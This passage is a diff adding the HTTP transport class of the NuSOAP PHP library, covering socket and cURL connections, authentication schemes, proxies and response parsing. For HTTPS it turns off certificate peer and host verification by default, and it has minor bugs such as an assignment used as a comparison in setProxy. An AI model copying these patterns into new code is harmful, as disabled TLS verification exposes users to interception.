'$pathToPemFiles/rootca.pem' + // sslcertfile: SSL certificate file, e.g. '$pathToPemFiles/mycert.pem' + // sslkeyfile: SSL key file, e.g. '$pathToPemFiles/mykey.pem' + // passphrase: SSL key password/passphrase + // certpassword: SSL certificate password + // verifypeer: default is 1 + // verifyhost: default is 1 + + /** + * constructor + * + * @param string $url The URL to which to connect + * @param array $curl_options User-specified cURL options + * @param boolean $use_curl Whether to try to force cURL use + * @access public + */ + function soap_transport_http($url, $curl_options = NULL, $use_curl = false){ + parent::nusoap_base(); + $this->debug("ctor url=$url use_curl=$use_curl curl_options:"); + $this->appendDebug($this->varDump($curl_options)); + $this->setURL($url); + if (is_array($curl_options)) { + $this->ch_options = $curl_options; + } + $this->use_curl = $use_curl; + preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); + $this->setHeader('User-Agent', $this->title.'/'.$this->version.' ('.$rev[1].')'); + } + + /** + * sets a cURL option + * + * @param mixed $option The cURL option (always integer?) + * @param mixed $value The cURL option value + * @access private + */ + function setCurlOption($option, $value) { + $this->debug("setCurlOption option=$option, value="); + $this->appendDebug($this->varDump($value)); + curl_setopt($this->ch, $option, $value); + } + + /** + * sets an HTTP header + * + * @param string $name The name of the header + * @param string $value The value of the header + * @access private + */ + function setHeader($name, $value) { + $this->outgoing_headers[$name] = $value; + $this->debug("set header $name: $value"); + } + + /** + * unsets an HTTP header + * + * @param string $name The name of the header + * @access private + */ + function unsetHeader($name) { + if (isset($this->outgoing_headers[$name])) { + $this->debug("unset header $name"); + unset($this->outgoing_headers[$name]); + } + } + + /** + * sets the URL to which to connect + * + * @param string $url The URL to which to connect + * @access private + */ + function setURL($url) { + $this->url = $url; + + $u = parse_url($url); + foreach($u as $k => $v){ + $this->debug("parsed URL $k = $v"); + $this->$k = $v; + } + + // add any GET params to path + if(isset($u['query']) && $u['query'] != ''){ + $this->path .= '?' . $u['query']; + } + + // set default port + if(!isset($u['port'])){ + if($u['scheme'] == 'https'){ + $this->port = 443; + } else { + $this->port = 80; + } + } + + $this->uri = $this->path; + $this->digest_uri = $this->uri; + + // build headers + if (!isset($u['port'])) { + $this->setHeader('Host', $this->host); + } else { + $this->setHeader('Host', $this->host.':'.$this->port); + } + + if (isset($u['user']) && $u['user'] != '') { + $this->setCredentials(urldecode($u['user']), isset($u['pass']) ? urldecode($u['pass']) : ''); + } + } + + /** + * gets the I/O method to use + * + * @return string I/O method to use (socket|curl|unknown) + * @access private + */ + function io_method() { + if ($this->use_curl || ($this->scheme == 'https') || ($this->scheme == 'http' && $this->authtype == 'ntlm') || ($this->scheme == 'http' && is_array($this->proxy) && $this->proxy['authtype'] == 'ntlm')) + return 'curl'; + if (($this->scheme == 'http' || $this->scheme == 'ssl') && $this->authtype != 'ntlm' && (!is_array($this->proxy) || $this->proxy['authtype'] != 'ntlm')) + return 'socket'; + return 'unknown'; + } + + /** + * establish an HTTP connection + * + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @return boolean true if connected, false if not + * @access private + */ + function connect($connection_timeout=0,$response_timeout=30){ + // For PHP 4.3 with OpenSSL, change https scheme to ssl, then treat like + // "regular" socket. + // TODO: disabled for now because OpenSSL must be *compiled* in (not just + // loaded), and until PHP5 stream_get_wrappers is not available. +// if ($this->scheme == 'https') { +// if (version_compare(phpversion(), '4.3.0') >= 0) { +// if (extension_loaded('openssl')) { +// $this->scheme = 'ssl'; +// $this->debug('Using SSL over OpenSSL'); +// } +// } +// } + $this->debug("connect connection_timeout $connection_timeout, response_timeout $response_timeout, scheme $this->scheme, host $this->host, port $this->port"); + if ($this->io_method() == 'socket') { + if (!is_array($this->proxy)) { + $host = $this->host; + $port = $this->port; + } else { + $host = $this->proxy['host']; + $port = $this->proxy['port']; + } + + // use persistent connection + if($this->persistentConnection && isset($this->fp) && is_resource($this->fp)){ + if (!feof($this->fp)) { + $this->debug('Re-use persistent connection'); + return true; + } + fclose($this->fp); + $this->debug('Closed persistent connection at EOF'); + } + + // munge host if using OpenSSL + if ($this->scheme == 'ssl') { + $host = 'ssl://' . $host; + } + $this->debug('calling fsockopen with host ' . $host . ' connection_timeout ' . $connection_timeout); + + // open socket + if($connection_timeout > 0){ + $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str, $connection_timeout); + } else { + $this->fp = @fsockopen( $host, $this->port, $this->errno, $this->error_str); + } + + // test pointer + if(!$this->fp) { + $msg = 'Couldn\'t open socket connection to server ' . $this->url; + if ($this->errno) { + $msg .= ', Error ('.$this->errno.'): '.$this->error_str; + } else { + $msg .= ' prior to connect(). This is often a problem looking up the host name.'; + } + $this->debug($msg); + $this->setError($msg); + return false; + } + + // set response timeout + $this->debug('set response timeout to ' . $response_timeout); + socket_set_timeout( $this->fp, $response_timeout); + + $this->debug('socket connected'); + return true; + } else if ($this->io_method() == 'curl') { + if (!extension_loaded('curl')) { +// $this->setError('cURL Extension, or OpenSSL extension w/ PHP version >= 4.3 is required for HTTPS'); + $this->setError('The PHP cURL Extension is required for HTTPS or NLTM. You will need to re-build or update your PHP to include cURL or change php.ini to load the PHP cURL extension.'); + return false; + } + // Avoid warnings when PHP does not have these options + if (defined('CURLOPT_CONNECTIONTIMEOUT')) + $CURLOPT_CONNECTIONTIMEOUT = CURLOPT_CONNECTIONTIMEOUT; + else + $CURLOPT_CONNECTIONTIMEOUT = 78; + if (defined('CURLOPT_HTTPAUTH')) + $CURLOPT_HTTPAUTH = CURLOPT_HTTPAUTH; + else + $CURLOPT_HTTPAUTH = 107; + if (defined('CURLOPT_PROXYAUTH')) + $CURLOPT_PROXYAUTH = CURLOPT_PROXYAUTH; + else + $CURLOPT_PROXYAUTH = 111; + if (defined('CURLAUTH_BASIC')) + $CURLAUTH_BASIC = CURLAUTH_BASIC; + else + $CURLAUTH_BASIC = 1; + if (defined('CURLAUTH_DIGEST')) + $CURLAUTH_DIGEST = CURLAUTH_DIGEST; + else + $CURLAUTH_DIGEST = 2; + if (defined('CURLAUTH_NTLM')) + $CURLAUTH_NTLM = CURLAUTH_NTLM; + else + $CURLAUTH_NTLM = 8; + + $this->debug('connect using cURL'); + // init CURL + $this->ch = curl_init(); + // set url + $hostURL = ($this->port != '') ? "$this->scheme://$this->host:$this->port" : "$this->scheme://$this->host"; + // add path + $hostURL .= $this->path; + $this->setCurlOption(CURLOPT_URL, $hostURL); + // follow location headers (re-directs) + if (ini_get('safe_mode') || ini_get('open_basedir')) { + $this->debug('safe_mode or open_basedir set, so do not set CURLOPT_FOLLOWLOCATION'); + $this->debug('safe_mode = '); + $this->appendDebug($this->varDump(ini_get('safe_mode'))); + $this->debug('open_basedir = '); + $this->appendDebug($this->varDump(ini_get('open_basedir'))); + } else { + $this->setCurlOption(CURLOPT_FOLLOWLOCATION, 1); + } + // ask for headers in the response output + $this->setCurlOption(CURLOPT_HEADER, 1); + // ask for the response output as the return value + $this->setCurlOption(CURLOPT_RETURNTRANSFER, 1); + // encode + // We manage this ourselves through headers and encoding +// if(function_exists('gzuncompress')){ +// $this->setCurlOption(CURLOPT_ENCODING, 'deflate'); +// } + // persistent connection + if ($this->persistentConnection) { + // I believe the following comment is now bogus, having applied to + // the code when it used CURLOPT_CUSTOMREQUEST to send the request. + // The way we send data, we cannot use persistent connections, since + // there will be some "junk" at the end of our request. + //$this->setCurlOption(CURL_HTTP_VERSION_1_1, true); + $this->persistentConnection = false; + $this->setHeader('Connection', 'close'); + } + // set timeouts + if ($connection_timeout != 0) { + $this->setCurlOption($CURLOPT_CONNECTIONTIMEOUT, $connection_timeout); + } + if ($response_timeout != 0) { + $this->setCurlOption(CURLOPT_TIMEOUT, $response_timeout); + } + + if ($this->scheme == 'https') { + $this->debug('set cURL SSL verify options'); + // recent versions of cURL turn on peer/host checking by default, + // while PHP binaries are not compiled with a default location for the + // CA cert bundle, so disable peer/host checking. + //$this->setCurlOption(CURLOPT_CAINFO, 'f:\php-4.3.2-win32\extensions\curl-ca-bundle.crt'); + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 0); + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 0); + + // support client certificates (thanks Tobias Boes, Doug Anarino, Eryan Ariobowo) + if ($this->authtype == 'certificate') { + $this->debug('set cURL certificate options'); + if (isset($this->certRequest['cainfofile'])) { + $this->setCurlOption(CURLOPT_CAINFO, $this->certRequest['cainfofile']); + } + if (isset($this->certRequest['verifypeer'])) { + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, $this->certRequest['verifypeer']); + } else { + $this->setCurlOption(CURLOPT_SSL_VERIFYPEER, 1); + } + if (isset($this->certRequest['verifyhost'])) { + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, $this->certRequest['verifyhost']); + } else { + $this->setCurlOption(CURLOPT_SSL_VERIFYHOST, 1); + } + if (isset($this->certRequest['sslcertfile'])) { + $this->setCurlOption(CURLOPT_SSLCERT, $this->certRequest['sslcertfile']); + } + if (isset($this->certRequest['sslkeyfile'])) { + $this->setCurlOption(CURLOPT_SSLKEY, $this->certRequest['sslkeyfile']); + } + if (isset($this->certRequest['passphrase'])) { + $this->setCurlOption(CURLOPT_SSLKEYPASSWD, $this->certRequest['passphrase']); + } + if (isset($this->certRequest['certpassword'])) { + $this->setCurlOption(CURLOPT_SSLCERTPASSWD, $this->certRequest['certpassword']); + } + } + } + if ($this->authtype && ($this->authtype != 'certificate')) { + if ($this->username) { + $this->debug('set cURL username/password'); + $this->setCurlOption(CURLOPT_USERPWD, "$this->username:$this->password"); + } + if ($this->authtype == 'basic') { + $this->debug('set cURL for Basic authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_BASIC); + } + if ($this->authtype == 'digest') { + $this->debug('set cURL for digest authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_DIGEST); + } + if ($this->authtype == 'ntlm') { + $this->debug('set cURL for NTLM authentication'); + $this->setCurlOption($CURLOPT_HTTPAUTH, $CURLAUTH_NTLM); + } + } + if (is_array($this->proxy)) { + $this->debug('set cURL proxy options'); + if ($this->proxy['port'] != '') { + $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host'].':'.$this->proxy['port']); + } else { + $this->setCurlOption(CURLOPT_PROXY, $this->proxy['host']); + } + if ($this->proxy['username'] || $this->proxy['password']) { + $this->debug('set cURL proxy authentication options'); + $this->setCurlOption(CURLOPT_PROXYUSERPWD, $this->proxy['username'].':'.$this->proxy['password']); + if ($this->proxy['authtype'] == 'basic') { + $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_BASIC); + } + if ($this->proxy['authtype'] == 'ntlm') { + $this->setCurlOption($CURLOPT_PROXYAUTH, $CURLAUTH_NTLM); + } + } + } + $this->debug('cURL connection set up'); + return true; + } else { + $this->setError('Unknown scheme ' . $this->scheme); + $this->debug('Unknown scheme ' . $this->scheme); + return false; + } + } + + /** + * sends the SOAP request and gets the SOAP response via HTTP[S] + * + * @param string $data message data + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @param array $cookies cookies to send + * @return string data + * @access public + */ + function send($data, $timeout=0, $response_timeout=30, $cookies=NULL) { + + $this->debug('entered send() with data of length: '.strlen($data)); + + $this->tryagain = true; + $tries = 0; + while ($this->tryagain) { + $this->tryagain = false; + if ($tries++ < 2) { + // make connnection + if (!$this->connect($timeout, $response_timeout)){ + return false; + } + + // send request + if (!$this->sendRequest($data, $cookies)){ + return false; + } + + // get response + $respdata = $this->getResponse(); + } else { + $this->setError("Too many tries to get an OK response ($this->response_status_line)"); + } + } + $this->debug('end of send()'); + return $respdata; + } + + + /** + * sends the SOAP request and gets the SOAP response via HTTPS using CURL + * + * @param string $data message data + * @param integer $timeout set connection timeout in seconds + * @param integer $response_timeout set response timeout in seconds + * @param array $cookies cookies to send + * @return string data + * @access public + * @deprecated + */ + function sendHTTPS($data, $timeout=0, $response_timeout=30, $cookies) { + return $this->send($data, $timeout, $response_timeout, $cookies); + } + + /** + * if authenticating, set user credentials here + * + * @param string $username + * @param string $password + * @param string $authtype (basic|digest|certificate|ntlm) + * @param array $digestRequest (keys must be nonce, nc, realm, qop) + * @param array $certRequest (keys must be cainfofile (optional), sslcertfile, sslkeyfile, passphrase, certpassword (optional), verifypeer (optional), verifyhost (optional): see corresponding options in cURL docs) + * @access public + */ + function setCredentials($username, $password, $authtype = 'basic', $digestRequest = array(), $certRequest = array()) { + $this->debug("setCredentials username=$username authtype=$authtype digestRequest="); + $this->appendDebug($this->varDump($digestRequest)); + $this->debug("certRequest="); + $this->appendDebug($this->varDump($certRequest)); + // cf. RFC 2617 + if ($authtype == 'basic') { + $this->setHeader('Authorization', 'Basic '.base64_encode(str_replace(':','',$username).':'.$password)); + } elseif ($authtype == 'digest') { + if (isset($digestRequest['nonce'])) { + $digestRequest['nc'] = isset($digestRequest['nc']) ? $digestRequest['nc']++ : 1; + + // calculate the Digest hashes (calculate code based on digest implementation found at: http://www.rassoc.com/gregr/weblog/stories/2002/07/09/webServicesSecurityHttpDigestAuthenticationWithoutActiveDirectory.html) + + // A1 = unq(username-value) ":" unq(realm-value) ":" passwd + $A1 = $username. ':' . (isset($digestRequest['realm']) ? $digestRequest['realm'] : '') . ':' . $password; + + // H(A1) = MD5(A1) + $HA1 = md5($A1); + + // A2 = Method ":" digest-uri-value + $A2 = $this->request_method . ':' . $this->digest_uri; + + // H(A2) + $HA2 = md5($A2); + + // KD(secret, data) = H(concat(secret, ":", data)) + // if qop == auth: + // request-digest = <"> < KD ( H(A1), unq(nonce-value) + // ":" nc-value + // ":" unq(cnonce-value) + // ":" unq(qop-value) + // ":" H(A2) + // ) <"> + // if qop is missing, + // request-digest = <"> < KD ( H(A1), unq(nonce-value) ":" H(A2) ) > <"> + + $unhashedDigest = ''; + $nonce = isset($digestRequest['nonce']) ? $digestRequest['nonce'] : ''; + $cnonce = $nonce; + if ($digestRequest['qop'] != '') { + $unhashedDigest = $HA1 . ':' . $nonce . ':' . sprintf("%08d", $digestRequest['nc']) . ':' . $cnonce . ':' . $digestRequest['qop'] . ':' . $HA2; + } else { + $unhashedDigest = $HA1 . ':' . $nonce . ':' . $HA2; + } + + $hashedDigest = md5($unhashedDigest); + + $opaque = ''; + if (isset($digestRequest['opaque'])) { + $opaque = ', opaque="' . $digestRequest['opaque'] . '"'; + } + + $this->setHeader('Authorization', 'Digest username="' . $username . '", realm="' . $digestRequest['realm'] . '", nonce="' . $nonce . '", uri="' . $this->digest_uri . $opaque . '", cnonce="' . $cnonce . '", nc=' . sprintf("%08x", $digestRequest['nc']) . ', qop="' . $digestRequest['qop'] . '", response="' . $hashedDigest . '"'); + } + } elseif ($authtype == 'certificate') { + $this->certRequest = $certRequest; + $this->debug('Authorization header not set for certificate'); + } elseif ($authtype == 'ntlm') { + // do nothing + $this->debug('Authorization header not set for ntlm'); + } + $this->username = $username; + $this->password = $password; + $this->authtype = $authtype; + $this->digestRequest = $digestRequest; + } + + /** + * set the soapaction value + * + * @param string $soapaction + * @access public + */ + function setSOAPAction($soapaction) { + $this->setHeader('SOAPAction', '"' . $soapaction . '"'); + } + + /** + * use http encoding + * + * @param string $enc encoding style. supported values: gzip, deflate, or both + * @access public + */ + function setEncoding($enc='gzip, deflate') { + if (function_exists('gzdeflate')) { + $this->protocol_version = '1.1'; + $this->setHeader('Accept-Encoding', $enc); + if (!isset($this->outgoing_headers['Connection'])) { + $this->setHeader('Connection', 'close'); + $this->persistentConnection = false; + } + // deprecated as of PHP 5.3.0 + //set_magic_quotes_runtime(0); + $this->encoding = $enc; + } + } + + /** + * set proxy info here + * + * @param string $proxyhost use an empty string to remove proxy + * @param string $proxyport + * @param string $proxyusername + * @param string $proxypassword + * @param string $proxyauthtype (basic|ntlm) + * @access public + */ + function setProxy($proxyhost, $proxyport, $proxyusername = '', $proxypassword = '', $proxyauthtype = 'basic') { + if ($proxyhost) { + $this->proxy = array( + 'host' => $proxyhost, + 'port' => $proxyport, + 'username' => $proxyusername, + 'password' => $proxypassword, + 'authtype' => $proxyauthtype + ); + if ($proxyusername != '' && $proxypassword != '' && $proxyauthtype = 'basic') { + $this->setHeader('Proxy-Authorization', ' Basic '.base64_encode($proxyusername.':'.$proxypassword)); + } + } else { + $this->debug('remove proxy'); + $proxy = null; + unsetHeader('Proxy-Authorization'); + } + } + + + /** + * Test if the given string starts with a header that is to be skipped. + * Skippable headers result from chunked transfer and proxy requests. + * + * @param string $data The string to check. + * @returns boolean Whether a skippable header was found. + * @access private + */ + function isSkippableCurlHeader(&$data) { + $skipHeaders = array( 'HTTP/1.1 100', + 'HTTP/1.0 301', + 'HTTP/1.1 301', + 'HTTP/1.0 302', + 'HTTP/1.1 302', + 'HTTP/1.0 401', + 'HTTP/1.1 401', + 'HTTP/1.0 200 Connection established'); + foreach ($skipHeaders as $hd) { + $prefix = substr($data, 0, strlen($hd)); + if ($prefix == $hd) return true; + } + + return false; + } + + /** + * decode a string that is encoded w/ "chunked' transfer encoding + * as defined in RFC2068 19.4.6 + * + * @param string $buffer + * @param string $lb + * @returns string + * @access public + * @deprecated + */ + function decodeChunked($buffer, $lb){ + // length := 0 + $length = 0; + $new = ''; + + // read chunk-size, chunk-extension (if any) and CRLF + // get the position of the linebreak + $chunkend = strpos($buffer, $lb); + if ($chunkend == FALSE) { + $this->debug('no linebreak found in decodeChunked'); + return $new; + } + $temp = substr($buffer,0,$chunkend); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend + strlen($lb); + // while (chunk-size > 0) { + while ($chunk_size > 0) { + $this->debug("chunkstart: $chunkstart chunk_size: $chunk_size"); + $chunkend = strpos( $buffer, $lb, $chunkstart + $chunk_size); + + // Just in case we got a broken connection + if ($chunkend == FALSE) { + $chunk = substr($buffer,$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + $length += strlen($chunk); + break; + } + + // read chunk-data and CRLF + $chunk = substr($buffer,$chunkstart,$chunkend-$chunkstart); + // append chunk-data to entity-body + $new .= $chunk; + // length := length + chunk-size + $length += strlen($chunk); + // read chunk-size and CRLF + $chunkstart = $chunkend + strlen($lb); + + $chunkend = strpos($buffer, $lb, $chunkstart) + strlen($lb); + if ($chunkend == FALSE) { + break; //Just in case we got a broken connection + } + $temp = substr($buffer,$chunkstart,$chunkend-$chunkstart); + $chunk_size = hexdec( trim($temp) ); + $chunkstart = $chunkend; + } + return $new; + } + + /** + * Writes the payload, including HTTP headers, to $this->outgoing_payload. + * + * @param string $data HTTP body + * @param string $cookie_str data for HTTP Cookie header + * @return void + * @access private + */ + function buildPayload($data, $cookie_str = '') { + // Note: for cURL connections, $this->outgoing_payload is ignored, + // as is the Content-Length header, but these are still created as + // debugging guides. + + // add content-length header + if ($this->request_method != 'GET') { + $this->setHeader('Content-Length', strlen($data)); + } + + // start building outgoing payload: + if ($this->proxy) { + $uri = $this->url; + } else { + $uri = $this->uri; + } + $req = "$this->request_method $uri HTTP/$this->protocol_version"; + $this->debug("HTTP request: $req"); + $this->outgoing_payload = "$req\r\n"; + + // loop thru headers, serializing + foreach($this->outgoing_headers as $k => $v){ + $hdr = $k.': '.$v; + $this->debug("HTTP header: $hdr"); + $this->outgoing_payload .= "$hdr\r\n"; + } + + // add any cookies + if ($cookie_str != '') { + $hdr = 'Cookie: '.$cookie_str; + $this->debug("HTTP header: $hdr"); + $this->outgoing_payload .= "$hdr\r\n"; + } + + // header/body separator + $this->outgoing_payload .= "\r\n"; + + // add data + $this->outgoing_payload .= $data; + } + + /** + * sends the SOAP request via HTTP[S] + * + * @param string $data message data + * @param array $cookies cookies to send + * @return boolean true if OK, false if problem + * @access private + */ + function sendRequest($data, $cookies = NULL) { + // build cookie string + $cookie_str = $this->getCookiesForRequest($cookies, (($this->scheme == 'ssl') || ($this->scheme == 'https'))); + + // build payload + $this->buildPayload($data, $cookie_str); + + if ($this->io_method() == 'socket') { + // send payload + if(!fputs($this->fp, $this->outgoing_payload, strlen($this->outgoing_payload))) { + $this->setError('couldn\'t write message data to socket'); + $this->debug('couldn\'t write message data to socket'); + return false; + } + $this->debug('wrote data to socket, length = ' . strlen($this->outgoing_payload)); + return true; + } else if ($this->io_method() == 'curl') { + // set payload + // cURL does say this should only be the verb, and in fact it + // turns out that the URI and HTTP version are appended to this, which + // some servers refuse to work with (so we no longer use this method!) + //$this->setCurlOption(CURLOPT_CUSTOMREQUEST, $this->outgoing_payload); + $curl_headers = array(); + foreach($this->outgoing_headers as $k => $v){ + if ($k == 'Connection' || $k == 'Content-Length' || $k == 'Host' || $k == 'Authorization' || $k == 'Proxy-Authorization') { + $this->debug("Skip cURL header $k: $v"); + } else { + $curl_headers[] = "$k: $v"; + } + } + if ($cookie_str != '') { + $curl_headers[] = 'Cookie: ' . $cookie_str; + } + $this->setCurlOption(CURLOPT_HTTPHEADER, $curl_headers); + $this->debug('set cURL HTTP headers'); + if ($this->request_method == "POST") { + $this->setCurlOption(CURLOPT_POST, 1); + $this->setCurlOption(CURLOPT_POSTFIELDS, $data); + $this->debug('set cURL POST data'); + } else { + } + // insert custom user-set cURL options + foreach ($this->ch_options as $key => $val) { + $this->setCurlOption($key, $val); + } + + $this->debug('set cURL payload'); + return true; + } + } + + /** + * gets the SOAP response via HTTP[S] + * + * @return string the response (also sets member variables like incoming_payload) + * @access private + */ + function getResponse(){ + $this->incoming_payload = ''; + + if ($this->io_method() == 'socket') { + // loop until headers have been retrieved + $data = ''; + while (!isset($lb)){ + + // We might EOF during header read. + if(feof($this->fp)) { + $this->incoming_payload = $data; + $this->debug('found no headers before EOF after length ' . strlen($data)); + $this->debug("received before EOF:\n" . $data); + $this->setError('server failed to send headers'); + return false; + } + + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read line of $tmplen bytes: " . trim($tmp)); + + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of headers timed out after length ' . strlen($data)); + $this->debug("read before timeout: " . $data); + $this->setError('socket read of headers timed out'); + return false; + } + + $data .= $tmp; + $pos = strpos($data,"\r\n\r\n"); + if($pos > 1){ + $lb = "\r\n"; + } else { + $pos = strpos($data,"\n\n"); + if($pos > 1){ + $lb = "\n"; + } + } + // remove 100 headers + if (isset($lb) && preg_match('/^HTTP\/1.1 100/',$data)) { + unset($lb); + $data = ''; + }// + } + // store header data + $this->incoming_payload .= $data; + $this->debug('found end of headers after length ' . strlen($data)); + // process headers + $header_data = trim(substr($data,0,$pos)); + $header_array = explode($lb,$header_data); + $this->incoming_headers = array(); + $this->incoming_cookies = array(); + foreach($header_array as $header_line){ + $arr = explode(':',$header_line, 2); + if(count($arr) > 1){ + $header_name = strtolower(trim($arr[0])); + $this->incoming_headers[$header_name] = trim($arr[1]); + if ($header_name == 'set-cookie') { + // TODO: allow multiple cookies from parseCookie + $cookie = $this->parseCookie(trim($arr[1])); + if ($cookie) { + $this->incoming_cookies[] = $cookie; + $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); + } else { + $this->debug('did not find cookie in ' . trim($arr[1])); + } + } + } else if (isset($header_name)) { + // append continuation line to previous header + $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; + } + } + + // loop until msg has been received + if (isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked') { + $content_length = 2147483647; // ignore any content-length header + $chunked = true; + $this->debug("want to read chunked content"); + } elseif (isset($this->incoming_headers['content-length'])) { + $content_length = $this->incoming_headers['content-length']; + $chunked = false; + $this->debug("want to read content of length $content_length"); + } else { + $content_length = 2147483647; + $chunked = false; + $this->debug("want to read content to EOF"); + } + $data = ''; + do { + if ($chunked) { + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read chunk line of $tmplen bytes"); + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of chunk length timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of chunk length timed out'); + return false; + } + $content_length = hexdec(trim($tmp)); + $this->debug("chunk length $content_length"); + } + $strlen = 0; + while (($strlen < $content_length) && (!feof($this->fp))) { + $readlen = min(8192, $content_length - $strlen); + $tmp = fread($this->fp, $readlen); + $tmplen = strlen($tmp); + $this->debug("read buffer of $tmplen bytes"); + if (($tmplen == 0) && (!feof($this->fp))) { + $this->incoming_payload = $data; + $this->debug('socket read of body timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of body timed out'); + return false; + } + $strlen += $tmplen; + $data .= $tmp; + } + if ($chunked && ($content_length > 0)) { + $tmp = fgets($this->fp, 256); + $tmplen = strlen($tmp); + $this->debug("read chunk terminator of $tmplen bytes"); + if ($tmplen == 0) { + $this->incoming_payload = $data; + $this->debug('socket read of chunk terminator timed out after length ' . strlen($data)); + $this->debug("read before timeout:\n" . $data); + $this->setError('socket read of chunk terminator timed out'); + return false; + } + } + } while ($chunked && ($content_length > 0) && (!feof($this->fp))); + if (feof($this->fp)) { + $this->debug('read to EOF'); + } + $this->debug('read body of length ' . strlen($data)); + $this->incoming_payload .= $data; + $this->debug('received a total of '.strlen($this->incoming_payload).' bytes of data from server'); + + // close filepointer + if( + (isset($this->incoming_headers['connection']) && strtolower($this->incoming_headers['connection']) == 'close') || + (! $this->persistentConnection) || feof($this->fp)){ + fclose($this->fp); + $this->fp = false; + $this->debug('closed socket'); + } + + // connection was closed unexpectedly + if($this->incoming_payload == ''){ + $this->setError('no response from server'); + return false; + } + + // decode transfer-encoding +// if(isset($this->incoming_headers['transfer-encoding']) && strtolower($this->incoming_headers['transfer-encoding']) == 'chunked'){ +// if(!$data = $this->decodeChunked($data, $lb)){ +// $this->setError('Decoding of chunked data failed'); +// return false; +// } + //print "
        \nde-chunked:\n---------------\n$data\n\n---------------\n
        "; + // set decoded payload +// $this->incoming_payload = $header_data.$lb.$lb.$data; +// } + + } else if ($this->io_method() == 'curl') { + // send and receive + $this->debug('send and receive with cURL'); + $this->incoming_payload = curl_exec($this->ch); + $data = $this->incoming_payload; + + $cErr = curl_error($this->ch); + if ($cErr != '') { + $err = 'cURL ERROR: '.curl_errno($this->ch).': '.$cErr.'
        '; + // TODO: there is a PHP bug that can cause this to SEGV for CURLINFO_CONTENT_TYPE + foreach(curl_getinfo($this->ch) as $k => $v){ + $err .= "$k: $v
        "; + } + $this->debug($err); + $this->setError($err); + curl_close($this->ch); + return false; + } else { + //echo '
        ';
        +			//var_dump(curl_getinfo($this->ch));
        +			//echo '
        '; + } + // close curl + $this->debug('No cURL error, closing cURL'); + curl_close($this->ch); + + // try removing skippable headers + $savedata = $data; + while ($this->isSkippableCurlHeader($data)) { + $this->debug("Found HTTP header to skip"); + if ($pos = strpos($data,"\r\n\r\n")) { + $data = ltrim(substr($data,$pos)); + } elseif($pos = strpos($data,"\n\n") ) { + $data = ltrim(substr($data,$pos)); + } + } + + if ($data == '') { + // have nothing left; just remove 100 header(s) + $data = $savedata; + while (preg_match('/^HTTP\/1.1 100/',$data)) { + if ($pos = strpos($data,"\r\n\r\n")) { + $data = ltrim(substr($data,$pos)); + } elseif($pos = strpos($data,"\n\n") ) { + $data = ltrim(substr($data,$pos)); + } + } + } + + // separate content from HTTP headers + if ($pos = strpos($data,"\r\n\r\n")) { + $lb = "\r\n"; + } elseif( $pos = strpos($data,"\n\n")) { + $lb = "\n"; + } else { + $this->debug('no proper separation of headers and document'); + $this->setError('no proper separation of headers and document'); + return false; + } + $header_data = trim(substr($data,0,$pos)); + $header_array = explode($lb,$header_data); + $data = ltrim(substr($data,$pos)); + $this->debug('found proper separation of headers and document'); + $this->debug('cleaned data, stringlen: '.strlen($data)); + // clean headers + foreach ($header_array as $header_line) { + $arr = explode(':',$header_line,2); + if(count($arr) > 1){ + $header_name = strtolower(trim($arr[0])); + $this->incoming_headers[$header_name] = trim($arr[1]); + if ($header_name == 'set-cookie') { + // TODO: allow multiple cookies from parseCookie + $cookie = $this->parseCookie(trim($arr[1])); + if ($cookie) { + $this->incoming_cookies[] = $cookie; + $this->debug('found cookie: ' . $cookie['name'] . ' = ' . $cookie['value']); + } else { + $this->debug('did not find cookie in ' . trim($arr[1])); + } + } + } else if (isset($header_name)) { + // append continuation line to previous header + $this->incoming_headers[$header_name] .= $lb . ' ' . $header_line; + } + } + } + + $this->response_status_line = $header_array[0]; + $arr = explode(' ', $this->response_status_line, 3); + $http_version = $arr[0]; + $http_status = (int)($arr[1]); + $http_reason = count($arr) > 2 ? $arr[2] : ''; + + // see if we need to resend the request with http digest authentication + if (isset($this->incoming_headers['location']) && ($http_status == 301 || $http_status == 302)) { + $this->debug("Got $http_status $http_reason with Location: " . $this->incoming_headers['location']); + $this->setURL($this->incoming_headers['location']); + $this->tryagain = true; + return false; + } + + // see if we need to resend the request with http digest authentication + if (isset($this->incoming_headers['www-authenticate']) && $http_status == 401) { + $this->debug("Got 401 $http_reason with WWW-Authenticate: " . $this->incoming_headers['www-authenticate']); + if (strstr($this->incoming_headers['www-authenticate'], "Digest ")) { + $this->debug('Server wants digest authentication'); + // remove "Digest " from our elements + $digestString = str_replace('Digest ', '', $this->incoming_headers['www-authenticate']); + + // parse elements into array + $digestElements = explode(',', $digestString); + foreach ($digestElements as $val) { + $tempElement = explode('=', trim($val), 2); + $digestRequest[$tempElement[0]] = str_replace("\"", '', $tempElement[1]); + } + + // should have (at least) qop, realm, nonce + if (isset($digestRequest['nonce'])) { + $this->setCredentials($this->username, $this->password, 'digest', $digestRequest); + $this->tryagain = true; + return false; + } + } + $this->debug('HTTP authentication failed'); + $this->setError('HTTP authentication failed'); + return false; + } + + if ( + ($http_status >= 300 && $http_status <= 307) || + ($http_status >= 400 && $http_status <= 417) || + ($http_status >= 501 && 